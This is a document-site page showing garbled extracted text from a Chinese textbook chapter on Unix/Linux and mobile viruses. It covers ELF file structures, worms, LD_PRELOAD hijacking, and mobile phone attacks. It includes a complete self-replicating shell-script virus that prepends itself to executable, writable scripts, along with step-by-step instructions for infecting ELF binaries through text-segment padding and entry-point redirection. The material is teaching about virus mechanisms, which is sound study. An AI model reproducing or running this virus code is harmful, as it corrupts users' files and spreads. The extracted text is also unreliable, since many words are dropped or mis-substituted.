第10章-Unix-Linux病毒与手机病毒简介_第1页
第10章-Unix-Linux病毒与手机病毒简介_第2页
第10章-Unix-Linux病毒与手机病毒简介_第3页
第10章-Unix-Linux病毒与手机病毒简介_第4页
第10章-Unix-Linux病毒与手机病毒简介_第5页
已阅读5页,还剩38页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

://tup张仁斌李钢侯整风

编著计算机病毒与反病毒技术清华大学出版社主要内容Linux系统的启动过程ELF文件格式Linux病毒的感染机制病毒的根本原理及其防范第10章Unix/Linux病毒与病毒简介10.1.1文件结构文件结构是文件存放在磁盘等存贮设备上的组织方法。主要表达在对文件和目录的组织上目录提供了管理文件的一个方便而有效的途径Linux使用标准的目录结构,在安装的时候,安装程序就已经为用户创立了文件系统和完整而固定的目录组成形式,并指定了每个目录的作用和其中的文件类型10.1Linux文件系统根底Linux树型目录结构示意图10.1.2文件系统文件系统指文件存在的物理空间,Linux系统中每个分区都是一个文件系统,都有自己的目录层次结构Linux将这些分属不同分区的、单独的文件系统按一定的方式形成一个系统的总的目录层次结构Linux文件系统使用索引节点来记录文件信息,其作用类似Windows的文件分配表索引节点是一个结构,它包含了一个文件的长度、创立及修改时间、权限、所属关系、磁盘中的位置等信息一个文件系统维护了一个索引节点的数组,每个文件或目录都与索引节点数组中的唯一一个元素对应系统给每个索引节点分配了一个号码,也就是该节点在数组中的索引号,称为索引节点号Linux文件系统将文件索引节点号和文件名同时保存在目录中10.1Linux文件系统根底Linux系统启动过程10.2Linux系统启动过程简介ELF(ExecutableandLinkingFormat,可执行链接格式)是Unix系统实验室(USL)作为应用程序二进制接口(ApplicationBinaryInterface,ABI)而开发和发布的工具接口标准委员会(TIS)选择了正在开展中的ELF标准作为工作在32位Intel体系上不同操作系统之间可移植的二进制文件格式ELF标准定义了一个二进制接口集合,用以支持流线型的软件开发,从而减少不同执行接口的数量,因此可以减少重新编程、重新编译的代码有关ELF的主要内容:目标文件(ObjectFiles),描述ELF目标文件格式三种主要的类型程序转载和动态连接,描述目标文件的信息和系统在创立运行时程序的行为10.3ELF文件格式10.3.1目标文件iABI的目标文件的格式,被称作ELF在目标文件中有三种主要的类型:可重定位文件(RelocatableFile),保存着代码和适当的数据,用来和其他的目标文件一起创立一个可执行文件或者是一个共享文件可执行文件(ExecutableFile),保存着一个用来执行的程序;该文件指出了exec(BA_OS)如何来创立程序进程映像共享目标文件(SharedObjectFile),保存着代码和适宜的数据,用来被下面的两个链接器链接链接编辑器可以和其他的可重定位与共享目标文件来创立其他的目标动态链接器联合可执行文件和其他的共享目标文件来创立一个进程映像10.3ELF文件格式10.3.1目标文件目标文件参与程序的链接(创立一个程序)和程序的执行(运行一个程序)从便利性和有效性来看,目标文件格式提供了文件内容的并行视图,以反映出不同的需要Linking视图Execution视图10.3ELF文件格式10.3.2ELF头#defineEI_NIDENT16typedefstruct{unsignedchare_ident[EI_NIDENT];/*目标文件标识*/Elf32_Halfe_type;/*目标文件类型*/Elf32_Halfe_machine;/*给出文件的目标体系结构类型*/Elf32_Worde_version;/*目标文件版本*/Elf32_Addre_entry;/*程序入口的虚拟地址,如果目标文件没有程序入口,可以为0*/Elf32_Offe_phoff;/*程序头表的偏移量(按字节计算)*/Elf32_Offe_shoff;/*节头表的偏移量(按字节计算)*/Elf32_Worde_flags;/*保存与文件相关的,特定于处理器的标志*/Elf32_Halfe_ehsize;/*ELF头部的长度(以字节计算)*/Elf32_Halfe_phentsize;/*程序头表的表项大小(按字节计算)*/Elf32_Halfe_phnum;/*程序头表的表项数目,可以为0*/Elf32_Halfe_shentsize;/*节头表的表项大小(按字节计算)*/Elf32_Halfe_shnum;/*节头表的表项数目,可以为0*/Elf32_Halfe_shstrndx;/*节头表中与节名称字符串表相关的表项的索引*/}Elf32_Ehdr;10.3ELF文件格式10.3.3节一个目标文件的节头表可以定位所有的节节头表是一个Elf32_Shdr结构的数组一个节头表的索引是这个数组的下标节头表的e_shoff成员给出了节头表的偏移量(从文件开始计数)。e_shnum说明节头表中包含了多少个表项;e_shentsize给出了每个表项的长度节头表索中某些引是保存的,这些专用索引在目标文件中将没有与之对的应节节头的结构所示:10.3ELF文件格式typedefstruct{Elf32_Wordsh_name;/*节名称。是节头字符串表节的索引。名字是NULL结尾的字符串*/Elf32_Wordsh_type;/*为节的内容和语义进行分类*/Elf32_Wordsh_flags;/*节支持1位形式的标志志,这些标志描述了多种属性*/Elf32_Addrsh_addr;/*如果节出现在进程的内存映像中,此成员给出节的第一个字节的地址,否则,此字段为0*/Elf32_Offsh_offset;/*此成员的取值给出节的第一个字节与文件头之间的偏移。不过,SHT_NOBITS类型的节不占用文件的空间,因此其sh_offset成员给出的是其概念性的偏移*/Elf32_Wordsh_size;/*此成员给出节的长度(字节数)。除非节的类型是SHT_NOBITS,否则节占用文件中的sh_size字节。类型为SHT_NOBITS的节长度可能非零,但不占用文件中的空间。*/Elf32_Wordsh_link;/*此成员给出节头部表索引链接。其具体的解释依赖于节类型*/Elf32_Wordsh_info;/*此成员给出附加信息,其解释依赖于节类型*/Elf32_Wordsh_addralign;/*某些节带有地址对齐约束。例如,若一个节保存一个doubleword,那么系统必须保证整个节能够按双字对齐。sh_addr对sh_addralign取模,结果必须为0。目前仅允许取值为0和2的幂次数。数值0和1表示节没有对齐约束*/Elf32_Wordsh_entsize;/*某些节中包含固定大小的项目,如符号表。对于这类节,此成员给出每个表项的长度字节数。如果节中并不包含固定长度表项的表,此成员取值为0*/}Elf32_Shdr;10.3.4字符串表字符串表节(StringTableSection)保存着以NULL终止的一系列字符(一般称为字符串)目标文件使用这些字符串来表示符号和节名一个字符串的引用是一个符串表节的索引。第一个字节,即索引0,被定义保存着一个NULL字符。同样的,一个符串表的最后一个字节保存着一个NULL字符,所有的字符串都以NULL终止索引0的字符串是没有名字或者说是NULL,它的解释依靠上下文。一个空的符串表节是允许的;它的节头成员sh_size将为0。对空的符串表来说,非0的索引是没有用的一个节头的sh_name成员保存了一个对应于该节头字符串表的索引一个字符串表可能涉及该节中的任意字节。一个字符串可能引用不止一次,可能存在引用子串的情况。一个字符串也可能被引用假设干次,也允许存在不被引用的字符串10.3ELF文件格式10.3.5符号表一个目标文件的符号表(SymbolTable)保存了一个程序在定位和重定位时需要的定义和引用的信息一个符号表索引是相应的数组下标10.3ELF文件格式typedefstruct{Elf32_Wordst_name;/*该成员保存了进入该目标文件的符号字符串表的索引。如果该值不为0,则它代表了给出符号名的字符串表索引。否则,该符号无名*/Elf32_Addrst_value;/*给出相应的符号值,它可能是绝对值或地址等(依赖于上下文)*/Elf32_Wordst_size;/*许多符号和长度相关。比如,一个数据对象的大小是该对象所包含的字节数目。如果该符号的大小未知或没有大小则这个成员为0*/unsignedcharst_info;/*指出符号的类型和相应的属性*/unsignedcharst_other;/*目前为0,没有含义*/Elf32_Halfst_shndx;/*每一个符号表的表项都定义为和某些节相关,该成员保存了相关的节头索引。某些节索引指出了特殊的含义*/}Elf32_Sym;10.3.6重定位重定位(Relocation)是链接符号引用和符号定义的过程。例如,当一个程序调用一个函数的时候,相关的调用必须在执行时把控制传送到正确的目标地址。也就是说,重定位文件应当包含有如何修改它们的节内容的信息,从而允许可执行文件或共享目标文件为一个进程的程序映像保存正确的信息10.3ELF文件格式typedefstruct{Elf32_Addrr_offset;Elf32_Wordr_info;}Elf32_Rel;

typedefstruct{Elf32_Addrr_offset;Elf32_Wordr_info;Elf32_Swordr_addend;}Elf32_Rela;10.3.7程序载入和动态链接概述程序头(ProgramHeader),描述和程序运行相关的目标文件结构10.3ELF文件格式typedefstruct{Elf32_Wordp_type;/*此数组元素描述的段的类型,或者如何解释此数组元素的信息*/Elf32_Offp_offset;/*此成员给出从文件头到该段第一个字节的偏移*/Elf32_Addrp_vaddr;/*此成员给出段的第一个字节将被放到内存中的虚拟地址*/Elf32_Addrp_paddr;/*此成员仅用于与物理地址相关的系统中,因为SystemV忽略所有应用程序的物理地址信息,此字段对与可执行文件和共享目标文件而言具体内容是未指定的*/Elf32_Wordp_filesz;/*此成员给出段在文件映像中所占的字节数,可以为0*/Elf32_Wordp_memsz;/*此成员给出段在内存映像中占用的字节数,可以为0*/Elf32_Wordp_flags;/*此成员给出与段相关的标志*/Elf32_Wordp_align;/*可加载的进程段的p_vaddr和p_offset取值必须合适,相对于对页面大小的取模而言。此成员给出段在文件中和内存中如何对齐。数值0和1表示不需要对齐,否则p_align应该是个正整数,并且是2的幂次数,p_vaddr和p_offset对p_align取模后应该相等*/}Elf32_Phdr;10.3.7程序载入和动态链接概述载入程序(ProgramLoading),在给定一个目标文件时,系统为了让它运行必须将它载入内存10.3ELF文件格式MemberTextDatap_typePT_LOADPT_LOADp_offset0x1000x2bf00p_vaddr0x80481000x8074f00p_paddrunspecifiedunspecifiedp_filesz0x2be000x4e00p_memsz0x2be000x5e24p_flagsPF_R+PF_XPF_R+PF_W+PF_Xp_align0x10000x1000可执行文件程序头段10.3.7程序载入和动态链接概述进程映像段10.3ELF文件格式10.3.7程序载入和动态链接概述程序解释器系统为解释器构造了一个内存映像,而不是使用原始的可执行文件的段映像。此时该解释器就负责接收系统来的控制并且为应用程序提供一个环境变量解释器使用两种方法中的一种来接收系统来的控制接收一个文件描述符来读取该可执行文件,定位于开头。它可以使用这个文件描述符来读取并且(或者)映射该可执行文件的段到内存中依赖于该可执行文件的格式,系统会载入这个可执行文件到内存中而不是给该解释器一个文件描述符。伴随着可能的文件描述符异常的情况,解释器的初始进程声明应匹配该可执行文件应当收到的内容10.3ELF文件格式10.3.7程序载入和动态链接概述解释器本身并不需要第二个解释器。一个解释器可能是一个共享对象也可能是一个可执行文件一个共享对象在被载入的时候是与位置无关的,各个进程可能不同;系统在mmap(KE_OS)使用的动态段域为它创立段和相关的效劳。因而,一个共享对象的解释器将不会和原始的可执行文件的原始段地址相冲突一个可执行文件被载入到固定地址,系统使用程序头表中的虚拟地址为其创立段。因而,一个可执行文件解释器的虚拟地址可能和第一个可执行文件相冲突;这种冲突由解释器来解决10.3ELF文件格式10.3.7程序载入和动态链接概述动态链接器(DynamicLinker)当使用动态链接方式建立一个可执行文件时,链接器把一个PT_INTERP类型的元素加到可执行文件中,告诉系统把动态链接器作为该程序的解释器Exec(BA_OS)和动态链接器合作为程序创立进程,必须有如下的动作:将可执行文件的内存段参加进程映像中将共享对象的内存段参加进程映像中为可执行文件和它的共享对象进行重定位如果有一个用于读取可执行文件的文件描述符传递给了动态链接器,那么关闭它向程序传递控制,就象该程序已经直接从exec(BA_OS)接收控制一样链接器同时也为动态链接器构建各种可执行文件和共享对象文件的相关数据。这些数据驻留在可载入段中,使得它们在执行过程中有效10.3ELF文件格式10.4.1有关Unix病毒的几个误区最大的一个误区就是认为很多高性能的平安系统能预防病毒蔓延另一个误区就是认为Linux系统尤其可以防止病毒的感染,因为Linux的程序都来自于源代码,不是二进制格式第三个误区就是认为Unix系统是绝对平安的,因为它具有很多不同的平台,而且每个版本的Unix系统有很大的差异10.4Unix病毒概述10.4.2Shell脚本与病毒书写Shell脚本病毒是一个很简单的制造Unix、Linux病毒的方法Shell在不同的Unix/Linux系统上的差异很小这种病毒可以算是一种跨系统的病毒Shell脚本病毒的危害性不会很大并且它本身极易被破坏,因为它是以明文方式编写并执行的,任何用户和管理员都可以觉察它10.4Unix病毒概述#infectionhead-n24$0>.testforfilein*doiftest-f$filetheniftest-x$filetheniftest-w$filethenifgrep-secho$file>.mmmthenhead-n1$file>.mmifgrep-sinfection.mm>.mmmthenrm-f.mmelsecat$file>.SAVEEcat.test>$filecat.SAVEE>>$filefi;fi;fi;fi;fidonerm.test.SAVEE.mmm.mm-f

取自身保存到.test遍历文件系统

判断是否为文件

判断文件是否可执行

判断文件是否可写

判断是否为脚本程序

提取要感染的脚本程序的第一行判断该文件是否已经被感染

已经被感染,则跳过还未被感染借用传统的二进制文件的感染机制

10.4.3蠕虫早期的蠕虫,根本上只运行于Unix系统,因为最初网络还处于以Unix平台为主的时期莫里斯蠕虫是最典型的代表。该蠕虫利用SendMail程序存在的一个漏洞来获取其它计算机的控制权。病毒一般会利用rexec、fingerd或者口令猜解来尝试连接。在成功入侵之后,它会在目标机器上编译源代码并且执行它,而且会有一个程序来专门负责隐藏自己的踪迹网络蠕虫一般都是利用的攻击程序去获得目标机的管理员权限。但是蠕虫的生命也很短暂,当该蠕虫所利用的漏洞被修补的话,那么该蠕虫也就失去了它的作用10.4Unix病毒概述10.4.4欺骗库函数可以LD_PRELOAD环境变量把标准的库函数替换成自己的程序,从而让宿主程序执行替换后的程序10.4Unix病毒概述10.4.5Unix/Linux的平安现状由于Linux继承了Unix良好的权限管理机制,可执行文件和系统文件不容易被感染,设计Unix或Linux上的病毒,面临更大的技术困难,利用ELF格式的二进制文件来制作病毒并不容易如果一个病毒感染的宿主文件拥有的权限是普通用户权限,那么该病毒所得到的权限当然也就只有普通用户权限(并且病毒不会利用exploit来提升权限),只能对该用户权限级别的文件和数据造成危害。但是当一个病毒感染了一个root权限的文件的话,那么它就可以控制系统的一切目前Linux系统有可能还比较平安,但不代表永远平安Linux系统越来越流行,这将吸引大批病毒制造者,Unix/Linux病毒逐年升温的趋势已经证明了这一点正如CIH病毒敲响了Windows系统的平安警钟一样,任何系统都难逃病毒的恶意攻击目前已经出现了跨Windows、Linux平台的病毒10.4Unix病毒概述10.5.1病毒机理进程映像包含“文本段〞(TextSegment,有时也称代码段)和“数据段〞(DataSegment)文本段的内存保护属性是r-x,因此一般自修改代码不能用于文本段;数据段的内存保护属性是rw-并不要求段长度是页长度的整数倍,常用到填充(Padding)典型的,数据段不需要从页边界开始,而文本段要求起始页边界对齐10.5基于ELF的计算机病毒10.5.1病毒机理一个进程映像的内存布局可能如下其中“T〞代表文本信息;“D〞代表数据信息;“P〞代表填充信息页1、2、3组成文本段页4、5、6组成数据段页号#1[TTTTTTTTTTTTTTTT]←文本段内容#2[TTTTTTTTTTTTTTTT]←文本段内容#3[TTTTTTTTTTTTPPPP]←文本段内容(局部)#4[PPPPDDDDDDDDDDDD]←数据段内容(局部)#5[DDDDDDDDDDDDDDDD]←数据段内容#6[DDDDDDDDDDDDPPPP]←数据段内容(局部)10.5基于ELF的计算机病毒10.5.1病毒机理段边界上的页填充提供了插入寄生代码的地方,只要空间允许,在这里插入寄生代码不破坏原有段内容,不要求重定位文本段结尾处的页填充是插入寄生代码的好的地方,插入寄生代码之后,ELF文件布局如下所示ELFHeaderProgramheadertableSegment1-文本段(主体代码)-寄生代码Segment2SectionheadertableSection1..Sectionn10.5基于ELF的计算机病毒10.5.1病毒机理为了在文本段末尾插入寄生代码,必须按如下步骤进行:(1)修改ELF头的成员e_shoff(e_phoff位于插入点之前)(2)定位文本段的程序头:修改p_filesz、p_memsz的值(3)循环处理位于插入点之后各段相应的程序头:修改p_offset的值以反映新的位置(4)循环处理位于插入点之后各节相应的节头:修改sh_offset的值(5)在静态文件中物理地插入寄生代码,插入点位于文本段p_offset+p_filesz(修改之前的原始值)修改ELF头成员e_shoff的原因在于节头表位于插入点之后。一般而言,可执行文件中的节头表位于各段之后10.5基于ELF的计算机病毒10.5.1病毒机理为了适应ELF标准中的这个要求,为了在宿主代码之前运行病毒体,还需要修改程序入口点的虚拟地址,同时需要在寄生代码尾部能够跳转回宿主代码原入口点继续正常流程,插入寄生代码的步骤修改如下:修改ELF头成员e_shoff,以PAGE_SIZE为单位增加修正插入的寄生代码的尾部,使之能够跳转回宿主代码原入口点定位文本段的程序头:修正ELF头的e_entry,指向病毒体(p_vaddr+p_filesz);修正p_filesz,增加病毒体大小(注意:这里不是增加页大小);修正p_memsz,增加病毒体大小(注意:这里不是增加页大小)循环处理位于插入点之后各段相应的程序头:以PAGE_SIZE为单位增加p_offset的值循环处理位于插入点之后各节相应的节头:以PAGE_SIZE为单位增加sh_offset的值10.5基于ELF的计算机病毒10.5.1病毒机理在静态文件中物理地插入寄生代码及填充(确保构成一个完整页),插入点位于文本段p_offset+p_filesz(修改之前的原始值)经过上述修改,病毒可以随机遍历一个目录树,寻找可执行文件和动态链接库文件(对应的e_type分别等于ET_EXEC、ET_DYN),加以感染10.5基于ELF的计算机病毒10.5.2一个Linux病毒原型分析例如病毒分为两大局部ELF文件感染器(ELFInfector)文件感染器将二进制代码(病毒体)插入到ELF文件的文本段,并让病毒体在目标文件执行时首先被执行。其原理就是上一节介绍的病毒机理概念性病毒首先通过文件感染器将病毒代码感染到一个ELF文件,这样就创造了第一个带毒文件,后续的传播就由病毒自己来完成当带毒文件被执行时,会首先跳到病毒代码开始执行病毒代码开始发作,在这个原型里,病毒会直接开始传播病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染病毒的感染过程和ELFInfector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的10.5基于ELF的计算机病毒10.5.2一个Linux病毒原型分析目前传染对ELF文件的根本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的病毒代码执行过后,会恢复堆栈和所有存放器〔这很重要〕,然后跳回到真正的可执行文件入口,开始正常的运行过程10.5基于ELF的计算机病毒10.6.1病毒原理病毒其实也和计算机病毒一样,它可以通过计算机执行从而向乱发短信息严格地讲,病毒应该是一种计算机病毒,这种病毒只能在计算机网络上进行传播而不能通过进行传播,因此所谓的病毒其实是计算机病毒程序启动了电信公司的一项效劳,例如电子邮件到短信息的功能,而且它发给的是文档,根本就无破坏力可言。当然也有的病毒破坏力还是比较大的,一旦发作可能比个人计算机病毒更厉害,传播速度更快侵袭上网的病毒,会自动启动录音功能,并将录音四处传送,病毒也会自动打出、删除上的档案内容,以及制造出金额庞大的账单10.6病毒简介10.6.1病毒原理由于局部病毒是从自动打出时散播,因为网络联系得太完善,因而它比计算机病毒影响更广,而将来随着设计更复杂及功能更多元化,病毒带来的灾害亦会更广另外由于还有其他的数据通讯方式,例如短信息、WAP效劳,以及GRPS高速因特网连接效劳,一方面它们确实能给我们带来方便,只需按几个键就可以换个LOGO、下载喜爱的铃声,甚至可以实现高速的因特网连接。但也正是这些功能,可以写入系统或内存指令,攻击者只要找到缺口,传出一个带毒的短信息,以操作系统的汇编语言编写病毒指令,改变系统的机内码(machinecode),将指令藏在记忆体中,然后再开启其他的本,大肆传播病毒,在一定时间内发作,破坏的开机系统10.6病毒简介10.6.2病毒的攻击方式及危害针对的攻击,主要可以分为以下几类:攻击WAP效劳器等相关设备,使WAP无法接收正常信息攻击、控制接入效劳器,或者利用网关漏洞,向发送大量垃圾信息。典型的就是利用各大门户网站的效劳漏洞,编写程序,不停地用某个号码订阅某项效劳或者退定某个效劳,例如SMS.Flood病毒直接攻击本身,使无法提供效劳。这种破坏方式难度相对较大,目前主要是利用程序的漏洞,发送精心构造的短信(SMS)或者彩信(MMS),造成内部程序出错,从而导致不能正常工作,就像我们经常在计算机上看到的“程序出错〞情况一样。典型的例子就是针对西门子的Mobile.SMSDOS病毒10.6病毒简介10.6.3漏洞分析攻击的一个重要途径,就是利用漏洞。主要有以下一些漏洞:Nokia某些产品

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论